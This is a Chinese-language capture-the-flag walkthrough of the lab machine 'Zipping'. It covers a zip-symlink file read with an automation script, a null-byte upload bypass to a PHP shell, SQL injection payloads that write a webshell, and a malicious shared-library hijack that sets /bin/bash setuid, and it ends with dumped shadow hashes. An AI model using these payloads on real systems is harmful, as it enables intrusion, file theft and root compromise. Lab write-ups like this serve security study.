基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.229
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-28 13:59 CST
Nmap scan report for 10.10.11.229
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.83 seconds

80

一个在线商店:

Zip Slip

WORK WITH US那里可以上传zip文件,上传后会自动解压,并给出文件路径:

Zip Slip

这种场景,结合机器名,Zip Slip:

1
2
3
ln -sf /etc/passwd evil.pdf
# -y store symbolic links as the link instead of the referenced file
zip -y passwd.zip evil.pdf

验证存在:

zip.py

自动化脚本,来自@Prometeo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
from bs4 import BeautifulSoup
import requests

if not os.path.exists("tmp"):
os.mkdir("tmp")

file_to_read = input("File to read: ")
print("Creating symlink..")
os.chdir("tmp/")
os.system(f"ln -s {file_to_read} symlink.pdf")
print("Zipping..")
os.system(f"zip -y sym.zip symlink.pdf")
os.system(f"rm symlink.pdf && cp sym.zip ../")
print("Done! Zip file: sym.zip")

print("Uploading file..")
MIP = "10.10.11.229"
file = {
'zipFile': ('sym.zip', open('sym.zip', 'rb'),
'application/zip'),
'submit': (None, '')
}
headers = {"Host":MIP,"User-Agent":"Mozilla/5.0 (X11;Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"}

s = requests.Session()
r = s.get(f"http://{MIP}",headers=headers)
r = s.get(f"http://{MIP}/upload.php", headers=headers)
r = s.post(f"http://{MIP}/upload.php",files=file,
headers=headers)
soup = BeautifulSoup(r.text,features="lxml")
uuid=""

for a in soup.find_all("a",href=True):
if "uploads" in a['href']:
uuid = a['href'].split("/")[1]
print("File UUID: ",uuid)

print("\nReading file..")
r = s.get(f"http://{MIP}/uploads/{uuid}/symlink.pdf")
print(r.text)

LFI

现在可以通过Zip Slip来读取文件,然后就是读代码:

/var/www/html/upload.php

根据代码,文件后缀有校验,需要是pdf才会解压:

但很容易使用空字节绕过:

webshell

所以就是使用包含空字节的文件名,通过pdf校验,解压后释放的实际是php文件:

1
2
mv rev.php rev.phpX.pdf
zip rev.zip rev.phpX.pdf

然后使用16进制编辑器修改zip中的文件名,把X的58改成空字节的00,注意zip中会出现两次文件名,校验使用的后一个:

上传,给出的链接去掉后面的pdf后访问触发shell,得到rektsu:

预期方法

预期是product那里换行符绕过,注入写文件:

1
2
3
4
http://10.10.11.229/shop/index.php?page=product&id=%0A100'+or+'1'='1
sqlmap -u "http://10.10.11.229/shop/?page=product&id=1" --prefix "%0A%0D'" --suffix="'-- -1" -p id --batch --level 2
id=%0A100'+union+select+"<?php+phpinfo();+?>",2,3,4,5,6,7,8+into+outfile+"/tmp/0xdf.php";--+-1
id=%0A100'+union+select+"<?php+system($_REQUEST['cmd']);+?>",2,3,4,5,6,7,8+into+outfile+"/dev/shm/shell.php";--+-1

然后再通过index那里的poge参数去执行webshell:

1
index.php?page=/dev/shm/shell.php

user flag

rektsu用户目录:

然后写公钥之类的方便后续操作

提权信息

可以sudo运行一个stock elf文件:

尝试运行需要密码,直接strings就能得到密码:

1
St0ckM4nager

strace追踪调用,发现加载了一个用户目录下的libcounter.so:

1
2
3
4
strace /usr/bin/stock
St0ckM4nager

/home/rektsu/.config/libcounter.so

所以就是一个很简单的劫持,自定义一个恶意so替换即可:

提权 & root flag

靶机上有gcc,直接编译替换即可:

1
2
3
gcc -shared -fPIC -nostartfiles -o libcounter.so exp.c

cp libcounter.so /home/rektsu/.config/libcounter.so

然后正常执行功能,触发命令执行:

exp.c

1
2
3
4
5
6
7
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("chmod u+s /bin/bash");
}

shadow

1
2
root:$y$j9T$IYa44JPNfCWV4rqT1W1Kj/$xiHZCNOyiAOLgnHZ06gdF9jWPNR9ixmhsCwFu0Hgy9/:19548:0:99999:7:::
rektsu:$y$j9T$wWBMg/LAoOoUB448jkabg.$8ivoFrxatQTk89/GmgCMdoByo9a1o.l8GK/Xo8BnwT3:19548:0:99999:7:::

参考资料